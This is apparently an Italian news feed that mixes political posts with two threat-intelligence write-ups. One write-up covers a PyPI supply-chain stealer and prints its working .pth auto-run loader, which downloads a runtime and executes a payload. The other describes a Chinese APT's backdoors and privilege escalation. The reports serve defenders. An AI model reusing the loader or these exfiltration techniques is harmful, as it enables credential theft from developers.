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La rappresentanza non arriva da sola, e nemmeno l’uguaglianza: va costruita, aperta, praticata.
In Italia, secondo l’EIGE, il punteggio sull’uguaglianza di genere è ancora fermo a 61,9 su 100 e la presenza delle donne in Parlamento si attesta al 34%. E a livello globale, l’IPU rileva progressi molto lenti: all’inizio del 2025 le donne occupavano solo il 27,2% dei seggi parlamentari nel mondo.

Per questo Elettriche arriva a Genova: non come ennesimo appuntamento in cui ascoltare e basta, ma come uno spazio in cui confrontarsi davvero su diritti, genere, partecipazione e rappresentanza, partendo da esperienze personali concrete e dai territori. Un laboratorio politico aperto, europeista e transfemminista, pensato per mettere in comune domande, priorità e visioni.

Ci vediamo allora il 20 giugno 2026 alle 15:30 da Mentelocale Palazzo Rosso, in via Garibaldi 18, a Genova.
Registrazione gratuita a questo link:

actionnetwork.org/events/elett…

#Elettriche #Genova #Transfemminismo #Diritti #Partecipazione #EuropaFederale #Volt #VoltItalia #VoltEuropa

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Biden torna in pubblico e attacca Trump, ma i Dem vogliono voltare pagina


L'ex presidente ha parlato a una cena del partito democratico del South Dakota, mentre il libro di Jill e i post del figlio Hunter riaprono ferite che molti nel partito speravano si fossero richiuse.

"Questo è il presidente più corrotto nella storia degli Stati Uniti d'America", ha detto venerdì sera Joe Biden parlando di Donald Trump. L'ex presidente ha pronunciato il discorso più politico dalla fine del mandato a Sioux Falls, nel South Dakota, davanti a qualche centinaio di democratici riuniti nella sala ricevimenti di un hotel Best Western.

Biden ha preso di mira quelli che ha chiamato "progetti di vanità spaventosi" del presidente Trump: trasformare la East Room della Casa Bianca in una sala da ballo "più adatta a Versailles", scrivere il proprio nome sul Kennedy Center, costruire un arco che "farebbe sembrare piccolo il Lincoln Memorial", trasformare la Reflecting Pool, la vasca riflettente del National Mall di Washington, in "qualcosa che vedresti in un parco a tema".

A tratti esitante e difficile da capire, a tratti urlante a piena voce, l'83enne Biden ha parlato in una sala grande come un piccolo hangar, in un edificio staccato sul retro di un vasto Best Western costruito negli anni Sessanta. Non c'erano quasi giornalisti, il discorso non è stato trasmesso in televisione e la sicurezza era ridotta al minimo: niente metal detector, niente agenti del Secret Service a perquisire borse.

Il discorso corona una settimana in cui l'intera famiglia Biden è riemersa con forza sulla scena pubblica, come racconta il New York Times. Jill Biden ha pubblicato il suo libro di memorie e ha avviato un tour promozionale, riaprendo ferite profonde nel partito con la sua versione di come la presidenza del marito sia arrivata alla dolorosa conclusione. Ex membri dello staff di Biden l'hanno contraddetta online e sui media, e lei ha risposto, rendendo il dibattito ancora più teso.

Il figlio Hunter è tornato attivo su X, dove scrive con prolificità. Il tono autoironico con cui descrive il suo passato di dipendenza dal crack e l'arguzia caustica che rivolge ai nemici della famiglia, democratici e repubblicani, gli hanno guadagnato un seguito che include anche sostenitori di Trump.

Molti democratici avrebbero preferito che tutto questo restasse nel passato. Le linee di battaglia per le elezioni di metà mandato del 2026 si stanno delineando e il partito sta cercando di puntare su volti nuovi. "Quando veniamo trascinati di nuovo nelle conversazioni sull'età e sulle elezioni del 2024, non è mai un buon posto per i democratici", ha detto Meghan Hays, che ha lavorato nell'amministrazione Biden, al programma "Ceasefire" di C-SPAN.

Andrew Bates, ex portavoce della Casa Bianca di Biden noto per la sua lealtà assoluta, ha detto al New York Post: "Avevamo il dovere di vincere e non l'abbiamo fatto. Ci penso in continuazione. Ma non vedo perché quella conversazione dolorosa per il partito dovesse essere riaperta pubblicamente proprio ora". Biden ha annunciato durante uno degli eventi del libro della moglie a New York che le sue memorie usciranno a settembre, anche se il suo portavoce TJ Ducklo ha precisato che l'ex presidente "sta continuando a lavorarci e la data di uscita non è ancora stata decisa".

Biden non è il primo ex presidente trattato come un peso dal suo stesso partito. Jimmy Carter, altro presidente di un solo mandato, si sentì maltrattato dai candidati democratici per decenni, finché Biden non lo riabilitò alla fine della sua vita. Nel 2004 molti democratici non volevano Bill Clinton in giro per la campagna elettorale. Nel 2018 i Clinton erano diventati radioattivi, mentre il partito cercava di lasciarsi alle spalle la sconfitta di Hillary contro Trump, proprio mentre la coppia decideva di lanciare un tour nazionale di conferenze.

Ma ciò che è accaduto con Biden, il declino esposto sul palco del dibattito televisivo sotto gli occhi di tutti e la lotta per il potere che ne è seguita, non ha precedenti. A Biden è stato poi diagnosticato un cancro che ha fatto metastasi alle ossa. Venerdì si muoveva lentamente e la sua voce era roca. Jill Biden non era con lui: un loro amico era morto, ha spiegato, "e doveva essere al funerale".

Nel suo discorso Biden ha parlato anche del fondo da 1,8 miliardi di dollari che Trump avrebbe voluto destinare, ha detto, ai rivoltosi del 6 gennaio 2021, e dei guadagni in criptovalute accumulati dal presidente da quando è tornato alla Casa Bianca. "Sono stato criticato tempo fa, quando ero ancora presidente, per aver detto che la nostra democrazia era a rischio", ha detto Biden, avvicinandosi più che mai a un "ve l'avevo detto".

La sua scommessa per la rielezione era che, avendo battuto Trump una volta, avrebbe potuto impedirne il ritorno. Parlava di Trump come di un'anomalia nella storia americana, un incidente di percorso. Ma è accaduto il contrario: Trump è la figura politica dominante di quest'epoca. L'anomalia era Biden.

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2026 Pirate National Conference: Day 2


June 7th

It’s Day 2 of the 2026 Pirate National Conference: […] Hoist the Colours and Spill the Tea (20 Years a Pirate!)!

You can check out Day 1 here, which featured speeches from Capt. Jolly Mitch, Hunter Rand, Capt. Emer. Rose Klein, and pitches from many of our candidates for the Pirate National Committee board.

Today kicks off Day 2 of the 2026 Pirate National Conference, which will be a day largely for those who attended in-person.

Thank you to all those who attended online yesterday, everyone in our comment section and everyone who was simply watching at home. Without your support, 20 years would not have been possible, and these next 20 years wouldn’t be either.

A reminder that there will be no Pirate National Committee meeting tonight. Meetings will return to their regularly scheduled times, standing 9pmET on June 14th.

A very special thanks to the Massachusetts Pirate Party, especially Jamie O’Keefe, Capt. Emer. Joseph Onoroski, Steve Revilak, Christine O’Donnell, Eli McGee and everyone who made this conference successful. Boston played the perfect host city and you all were the perfect hosts. Thank you for making 20 Years a Pirate the success it was.

Thank you to Hunter Rand, who is in the middle of his campaign for Spark City Council, Ward 2, for taking the time to fly out and speak during the conference. Hunter’s election is this Tuesday, so don’t forget to visit his campaign website and show your support. You can still donate to his campaign as well. Hunter has ran a hell of a campaign that has arguably been one of the most creative and honest campaigns one has ever seen. 13 years of being a Pirate, we’re happy you were able to join us for our 20 year celebration.

As well, a special thank you to Capt. Emer. Rose Klein for also having flown out from across the entire country to be at the 2026 Conference. Rose’s being there really did make the conference feel all the more special, and made the whole occasion feel all the more grandiose knowing people really were flying from all over the country to be there. Thank you for coming out, sharing your wealth of knowledge, and ultimately, being the perfect exemplar of Pirate Party ethics and values in every organization you touch, including and especially ours, the Pirate Party itself.

Thank you to all the candidates who were able to join and give their pitches for their campaigns for the Pirate National Committee board. You can watch the candidate section by itself here. Voting is still open and will remain open until 6pmET today, June 7th. You have time to vote, and can do so here.

Note: The Pirate Party is aware of the audio issues from 5:25-12:45, cutting out almost the entirety of Capt. Jolly Mitch’s speech. In addition to other portions of the conference currently planned to be individually uploaded (as you saw with the aforementioned candidate section), that speech will be re-recorded and uploaded separately.

Election results will be announced later tonight.


uspirates.org/2026-pirate-nati…

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I repubblicani al Congresso sfidano Trump: cresce il malcontento in vista delle midterm


Decine di senatori e deputati repubblicani hanno votato contro le priorità del presidente, dal fondo da 1,8 miliardi alla guerra in Iran. Pesano il calo dei consensi e il timore di perdere la maggioranza anche al Senato.

Donald Trump resta il leader indiscusso del Partito Repubblicano, ma la sua presa sui repubblicani al Congresso comincia a indebolirsi. Un numero crescente di esponenti repubblicani, non solo più gli abituali dissidenti, ha iniziato a sfidarlo apertamente, irritato da decisioni che molti nel Partito considerano sempre più azzardate. Lo riporta la CNN, secondo cui la tendenza potrebbe rafforzarsi con l'avvicinarsi delle elezioni di midterm di novembre.

Il malcontento è esploso in particolare attorno alla legge sull'immigrazione da 70 miliardi di dollari, destinata a finanziare l'ICE e la Customs and Border Protection. Il Senato l'ha alla fine approvata venerdì con 52 voti favorevoli e 47 contrari. Ora il testo passa alla Camera, dove il voto finale è atteso la prossima settimana. Il provvedimento, però, ha rischiato di saltare dopo la rivolta di diversi senatori repubblicani contro la richiesta di Trump di inserire un fondo da 1,8 miliardi di dollari per risarcire le vittime della presunta "persecuzione" dell'era Biden. Secondo i critici, quel fondo servirebbe in realtà a premiare i sostenitori politici più fedeli del presidente.

La rivolta sul fondo risarcimenti


Durante la maratona di voti sugli emendamenti, oltre una decina di senatori repubblicani ha votato contro alcune priorità del presidente: il fondo per i risarcimenti, la sala da ballo della Casa Bianca, la nomina ad interim del fedelissimo Bill Pulte alla guida dell'Intelligence Nazionale e le nuove restrizioni proposte da Trump sulle elezioni (il cosiddetto Save America Act).

In particolare, la senatrice repubblicana dell'Alaska Lisa Murkowski ha votato contro l'intero pacchetto sull'immigrazione, una misura che in condizioni normali avrebbe probabilmente sostenuto. Secondo Murkowski, però, il testo approvato dal Senato concede alla Casa Bianca un potere eccessivo su come spendere i fondi e riduce il controllo del Congresso.

Ma alcune crepe sono emerse anche alla Camera dei Rappresentanti. Per la prima volta dall'inizio della guerra in Iran, a febbraio, l'aula ha votato per chiedere a Trump il ritiro dal conflitto, grazie al sostegno di un piccolo gruppo di deputati repubblicani. Il giorno successivo, quasi venti deputati repubblicani hanno appoggiato una proposta democratica per nuovi aiuti all'Ucraina e ulteriori sanzioni contro la Russia, in aperto dissenso con la linea della Casa Bianca sulla guerra tra Russia e Ucraina.

I ribelli non sono più solo i dissidenti abituali


A colpire però è soprattutto il profilo degli esponenti repubblicani che hanno sfidato Trump. Tra loro ci sono infatti anche senatori impegnati in corse competitive a novembre per la rielezione: Dan Sullivan, dell'Alaska, e Jon Husted, dell'Ohio, hanno votato per affossare il fondo risarcimenti, mentre Ashley Moody, della Florida, ha sostenuto il divieto di concedere risarcimenti pubblici ai condannati per aggressioni contro gli agenti durante l'assalto al Congresso del 6 gennaio 2021.

Alla Camera dei Rappresentanti, il deputato Tom Barrett, uno dei repubblicani più vulnerabili alle elezioni di midterm, ha votato per limitare i poteri di guerra di Trump sull'Iran. "Penso che la gente sia frustrata, certamente", ha dichiarato alla CNN.

Secondo persone a conoscenza delle discussioni interne citate dall'emittente televisiva, i membri repubblicani del Congresso temono sempre di più che il calo dei consensi di Trump possa costare al partito persino il controllo del Senato, uno scenario che fino a sei mesi fa appariva impensabile. Molti chiedono alla leadership del partito di concentrarsi su misure capaci di ridurre i costi per le famiglie, invece che sui conflitti all'estero o sui progetti personali del presidente.

La Casa Bianca nega le divisioni


Da parte sua, la Casa Bianca respinge questa ricostruzione. La portavoce Abigail Jackson ha dichiarato alla CNN che Trump "è impegnato a mantenere le maggioranze repubblicane alla Camera e al Senato" e ha accusato media e democratici di alimentare "divisioni inesistenti".

Il presidente, però, non sembra voler mostrare segnali di cambiamento. Nelle ultime ore ha anzi definito "un perdente" il senatore Thom Tillis, che ha già minacciato di votare contro la conferma di Todd Blanche, l'uomo scelto da Trump per guidare il Dipartimento di Giustizia dopo le dimissioni di Pam Bondi.

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✨ Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori
#CyberSecurity
insicurezzadigitale.com/campag…

@informatica


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


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✨ VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite
#CyberSecurity
insicurezzadigitale.com/verdan…

@informatica


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
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Come Trump ha smantellato la stretta di Biden sul traffico di armi


Rinvii penali in calo del 30%, revoche di licenze crollate del 69% e centinaia di agenti ATF spostati sull'immigrazione. L'inchiesta di ProPublica.

Nel primo anno della nuova Amministrazione Trump, le segnalazioni penali dell'ATF per traffico di armi sono diminuite del 30% rispetto all'anno precedente. Nello stesso periodo, le revoche delle licenze ai negozianti che violano la legge sono crollate del 69%, mentre centinaia di agenti dell'agenzia federale incaricata di vigilare su armi ed esplosivi sono stati spostati dal contrasto al traffico illegale di armi alle operazioni di espulsione dei migranti senza documenti. È quanto emerge da un'inchiesta di ProPublica.

La politica ora smantellata risaliva al 2021. Nel pieno dell'ondata di omicidi post pandemia, aumentati di oltre un terzo dal 2019, l'Amministrazione Biden aveva annunciato la linea della "tolleranza zero": i negozianti trovati a violare volontariamente la legge avrebbero perso la licenza, senza eccezioni. Le revoche erano così passate da meno di 50 all'anno nel triennio 2019-2021 al record di 181 nel 2023 e 183 nel 2024. Alla base della stretta c'era un dato cruciale: una piccola quota di rivenditori alimentava una parte enorme del mercato illegale. Tra il 2017 e il 2023, quasi 1,3 milioni di armi vendute a trafficanti sono state poi recuperate sulla scena di un crimine.

Nel 2022 il Congresso aveva approvato con voti bipartisan il Bipartisan Safer Communities Act, introducendo nel codice penale federale il reato di cospirazione per traffico di armi e inasprendo le pene per gli acquisti tramite prestanome. Sempre nel 2022, l'ATF aveva stabilito che le ghost gun, le armi assemblabili da kit e prive di numero di serie, dovessero essere soggette alle stesse regole delle armi tradizionali, compresi i controlli sui precedenti penali degli acquirenti. Negli ultimi due anni dell'Amministrazione Biden, i procuratori federali hanno così usato i nuovi reati per incriminare più di 500 persone.

Armi negli Usa · L'inchiesta

L'agenzia che vigila sulle armi ora dà la caccia ai migranti


Nel primo anno dell'Amministrazione Trump le segnalazioni penali dell'ATF per traffico di armi sono calate del 30% e le revoche delle licenze ai negozianti del 69%. Intanto 1.800 agenti su 2.500 sono finiti a collaborare con le operazioni di espulsione dei migranti.

Inchiesta ProPublica Dati ATF, Dipartimento di Giustizia, Cato Institute

Revoche di licenze
−69%

vs

Segnalazioni penali
−30%

Negozianti che hanno perso la licenza nel 2025: 56, contro i 183 del 2024
Casi di traffico di armi che l'ATF ha segnalato ai procuratori nel 2025

Quasi tre agenti su quattro — 1.800 su 2.500 — hanno partecipato a operazioni di espulsione dei migranti

Esplora l'inchiesta
I Il crollo II Gli agenti III Il rischio IV Cronologia

Le revoche delle licenze

I negozianti che violano la legge non perdono più la licenza


Licenze federali revocate ogni anno ai rivenditori di armi. Con la "tolleranza zero" di Biden le revoche erano quasi quadruplicate; nel 2025 sono tornate ai livelli precedenti alla stretta.

Prima della stretta

2019–2021Media annua
<50

"Tolleranza zero" — Amministrazione Biden

2023
181

2024
183

Fine della "tolleranza zero" — Amministrazione Trump

2025−69% in un anno
56

−30%
Segnalazioni penali dell'ATF per traffico di armi nel 2025

+30%
Casi respinti dai procuratori federali nello stesso periodo

Diversi rivenditori d'armi che avevano perso la licenza per violazioni gravi o ripetute l'hanno riottenuta in tempi rapidi dopo l'insediamento della nuova Amministrazione, su invito della stessa ATF.

Il dirottamento

Tre agenti su quattro spostati dal traffico di armi alle espulsioni di migranti


Dalla primavera 2025 l'Amministrazione ha trasferito gran parte degli agenti ATF al fianco dell'ICE nelle operazioni contro i migranti irregolari.


0%
degli agenti ATF

1.800 su 2.500
Agenti che hanno partecipato a operazioni di espulsione dei migranti, secondo i documenti ICE ottenuti dal Cato Institute.
Anche gli ispettori dell'ATF incaricati dei controlli sui rivenditori di armi cercano ora principalmente negli archivi dei negozi acquirenti con nomi ritenuti stranieri, da segnalare al Dipartimento per la Sicurezza Interna.

6 ore
Il tempo a settimana che ogni ispettore deve dedicare a compiti anti immigrazione

~30%
Dei casi di traffico d'armi del 2025 riguarda il confine con il Messico

1 su 5
Incriminazioni per cospirazione concentrate nel solo Texas occidentale

"
È stato tutto dirottato. È diventata tutta una questione di immigrati irregolari ora.
Daniel Webster · Johns Hopkins University

L'effetto ritardato

Il traffico di armi è come una conduttura: il danno emerge anni dopo


Gli omicidi continuano a calare, ma i criminologi avvertono: i benefici della stretta precedente si vedono ancora oggi, mentre i costi dell'attuale arretramento emergeranno solo più avanti.

~3 anni

Il tempo che passa prima che un'arma finita nel traffico illegale compaia sulla scena di un crimine

È l'intervallo tra la vendita di un'arma e il suo ritrovamento sulla scena di un crimine, rilevato da una ricerca dell'ATF. Significa che le conseguenze del calo dei controlli di oggi potrebbero emergere solo nei prossimi anni, quando le armi vendute ora illegalmente finiranno nelle strade.

1,3 mln

